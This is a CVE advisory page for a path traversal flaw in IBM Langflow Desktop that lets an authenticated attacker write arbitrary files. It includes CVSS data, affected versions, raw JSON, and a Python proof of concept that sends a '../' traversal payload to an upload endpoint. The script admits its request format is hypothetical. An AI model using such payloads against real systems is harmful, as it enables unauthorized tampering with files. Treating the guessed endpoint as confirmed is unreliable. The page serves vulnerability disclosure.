Security Vulnerability Report
中文
CVE-2026-4502 CVSS 6.5 MEDIUM

CVE-2026-4502

Published: 2026-04-30 21:16:34
Last Modified: 2026-05-11 17:06:21

Description

IBM Langflow Desktop 1.2.0 through 1.8.4 Langflow could allow an authenticated attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to write arbitrary files on the system.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:langflow:langflow_desktop:*:*:*:*:*:*:*:* - VULNERABLE
IBM Langflow Desktop 1.2.0
IBM Langflow Desktop 1.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target = "http://vulnerable-host:port/api/upload" # Attacker's controlled session cookie (Authentication required) cookies = {'session_id': 'attacker_session_token'} # Malicious path using directory traversal to write to a sensitive location # For example, writing to a startup folder or overwriting a config file traversal_payload = "../../../../tmp/malicious.txt" # Data to be written file_content = "Content written by CVE-2026-4502 Exploit" # Payload structure (Hypothetical based on description) data = { "path": traversal_payload, "content": file_content } try: response = requests.post(target, data=data, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! File written.") else: print(f"[-] Exploit failed. Status: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4502", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:33.533", "lastModified": "2026-05-11T17:06:21.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Langflow Desktop 1.2.0 through 1.8.4 Langflow could allow an authenticated attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to write arbitrary files on the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow_desktop:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.2.0", "versionEndIncluding": "1.8.4", "matchCriteriaId": "4B9C49D8-B198-43A9-ACF6-ADEB4BA58A96"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7271097", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}